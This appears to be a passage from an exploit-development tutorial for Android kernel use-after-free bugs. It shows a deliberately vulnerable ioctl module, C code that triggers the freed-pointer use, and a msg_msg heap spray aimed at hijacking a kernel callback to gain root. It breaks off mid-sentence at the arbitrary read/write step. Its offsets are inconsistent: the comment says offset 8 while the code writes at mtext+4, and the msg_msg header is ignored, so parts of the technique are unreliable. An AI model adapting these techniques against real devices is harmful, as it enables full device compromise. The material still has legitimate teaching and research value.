Introduction: The Lure of Kernel UAFs
The Android operating system, at its core, relies on the Linux kernel. A vulnerability within this kernel can provide an attacker with unparalleled control over the device, bypassing all sandbox restrictions and achieving full system compromise. Among the most potent kernel vulnerabilities are Use-After-Free (UAF) flaws. A UAF occurs when a program continues to use a pointer to memory that has been freed, leading to unpredictable behavior, data corruption, or, in the hands of an attacker, arbitrary code execution and privilege escalation. This article provides an expert-level walkthrough of developing a custom Android kernel UAF exploit, taking you from understanding the vulnerability to achieving root control.
Understanding Use-After-Free Vulnerabilities
A Use-After-Free bug manifests in three distinct phases:
- Allocation: A chunk of memory is allocated and a pointer (let’s call it
ptr_A) refers to it. - Free: The memory chunk pointed to by
ptr_Ais freed, butptr_Aitself is not nullified or reset. - Use-After-Free: The program attempts to use
ptr_Ato access the freed memory. At this point, the kernel’s memory allocator might have already reallocated that same memory chunk for a different purpose (e.g., to hold attacker-controlled data).
When an attacker can control the data that reclaims the freed memory, they can manipulate kernel structures, hijack control flow, or leak sensitive information. On Android, this typically means a local attacker gaining root privileges, thus escaping the Android sandbox.
The Exploit Target: A Hypothetical UAF
To illustrate, let’s consider a simplified, hypothetical kernel module that manages ‘widget’ objects. This module might expose ioctl commands for creating, destroying, and operating on widgets. Imagine a flaw where a widget structure is freed by one ioctl, but a global or per-file-descriptor pointer to it is not properly cleared, allowing a subsequent ioctl to dereference the stale pointer.
// Simplified Vulnerable Kernel Code Structurevoid *my_widget_ptr = NULL;struct widget { int id; void (*callback)(void);};long my_module_ioctl(struct file *filp, unsigned int cmd, unsigned long arg){ switch (cmd) { case CMD_CREATE_WIDGET: my_widget_ptr = kmalloc(sizeof(struct widget), GFP_KERNEL); if (my_widget_ptr) { ((struct widget*)my_widget_ptr)->id = get_next_id(); ((struct widget*)my_widget_ptr)->callback = default_callback; } break; case CMD_DESTROY_WIDGET: if (my_widget_ptr) { kfree(my_widget_ptr); // VULNERABILITY: my_widget_ptr is NOT set to NULL } break; case CMD_USE_WIDGET: if (my_widget_ptr) { // UAF triggered here if my_widget_ptr was freed! ((struct widget*)my_widget_ptr)->callback(); } break; } return 0;}
In this example, calling CMD_DESTROY_WIDGET then CMD_USE_WIDGET creates a UAF condition.
Step 1: Triggering the Vulnerability
The first step for an exploit is reliably triggering the UAF. From user space, this involves a specific sequence of system calls, often ioctl operations, to interact with the vulnerable kernel driver. Assuming our hypothetical widget driver, the trigger sequence would be:
- Open the device file associated with the kernel module (e.g.,
/dev/my_widget). - Call
CMD_CREATE_WIDGETto allocate awidgetobject. - Call
CMD_DESTROY_WIDGETto free the allocatedwidgetobject, leavingmy_widget_ptrstale. - Before the next step, ensure no other kernel allocations occur that might immediately reclaim the freed memory.
- Call
CMD_USE_WIDGETto dereference the stalemy_widget_ptr. This is where we want our crafted data to reside.
// User-space C code snippet to trigger UAF#include <fcntl.h>#include <sys/ioctl.h>#define CMD_CREATE_WIDGET 0x13370001#define CMD_DESTROY_WIDGET 0x13370002#define CMD_USE_WIDGET 0x13370003int main(){ int fd = open("/dev/my_widget", O_RDWR); if (fd < 0) { perror("open"); return 1; } ioctl(fd, CMD_CREATE_WIDGET, 0); printf("Widget created. Now freeing...n"); ioctl(fd, CMD_DESTROY_WIDGET, 0); printf("Widget freed. Now attempting UAF use...n"); // At this point, we need to spray the heap before calling CMD_USE_WIDGET // ... (heap spray code goes here) ... ioctl(fd, CMD_USE_WIDGET, 0); // UAF Use! close(fd); return 0;}
Step 2: Heap Grooming and Spraying
After freeing the widget, the goal is to reclaim that specific memory address with attacker-controlled data. This is achieved through heap grooming and spraying. The Linux kernel’s slab allocator (kmalloc) tends to reuse recently freed memory of the same size. We can exploit this by allocating numerous objects of the same size as our freed widget, filling them with our payload.
A common technique on Android is using msg_msg structures via msgrcv and msgsnd system calls. The msg_msg structure allows allocating arbitrary data sizes and offers control over the contents. By sending many messages of the widget‘s size, we increase the probability that one of our messages reclaims the freed widget memory.
// User-space C code snippet for msg_msg heap spray#include <sys/msg.h>#include <string.h>#define WIDGET_SIZE 16 // Example size, adjust based on actual struct size#define NUM_MSQ_OBJECTS 100struct msgbuf { long mtype; char mtext[WIDGET_SIZE - sizeof(long)];};int main_spray(void){ int msqid[NUM_MSQ_OBJECTS]; struct msgbuf msg; msg.mtype = 1; // Prepare our fake widget payload // For example, overwrite 'callback' pointer with address of our shellcode or a kernel gadget memset(msg.mtext, 'A', sizeof(msg.mtext)); // Assuming the callback pointer is at offset 8 (sizeof(int)) // We'd overwrite msg.mtext[4] with the address of a kernel gadget // Example: * (unsigned long *)(msg.mtext + 4) = KERNEL_GADGET_ADDR; for (int i = 0; i < NUM_MSQ_OBJECTS; i++) { msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666); if (msqid[i] < 0) { perror("msgget"); return -1; } if (msgsnd(msqid[i], &msg, sizeof(msg.mtext), 0) < 0) { perror("msgsnd"); return -1; } } printf("Heap sprayed with %d msg_msg objects.n", NUM_MSQ_OBJECTS); return 0;}
The `mtext` field in `msg_msg` will now contain our controlled data, effectively becoming our fake `widget` object. When `CMD_USE_WIDGET` is called, the `callback` pointer within our fake `widget` will be dereferenced.
Step 3: Achieving Arbitrary Read/Write Primitive
While directly overwriting a function pointer like `callback` can lead to arbitrary code execution if KASLR (Kernel Address Space Layout Randomization) is bypassed, a more robust primitive is often an arbitrary read/write. This can be achieved by carefully crafting the spray payload. For instance, if the vulnerable object is a `file` struct, spraying with a crafted `seq_operations` struct can allow us to control the `release` function pointer. Alternatively, a technique known as
Android Mobile Specs & Compare Directory
Are you researching mobile hardware properties, processor SoCs, GPU chipsets, or RAM configurations? Access our complete specs catalog to compare up to 5 devices side-by-side!
Compare Devices Specs →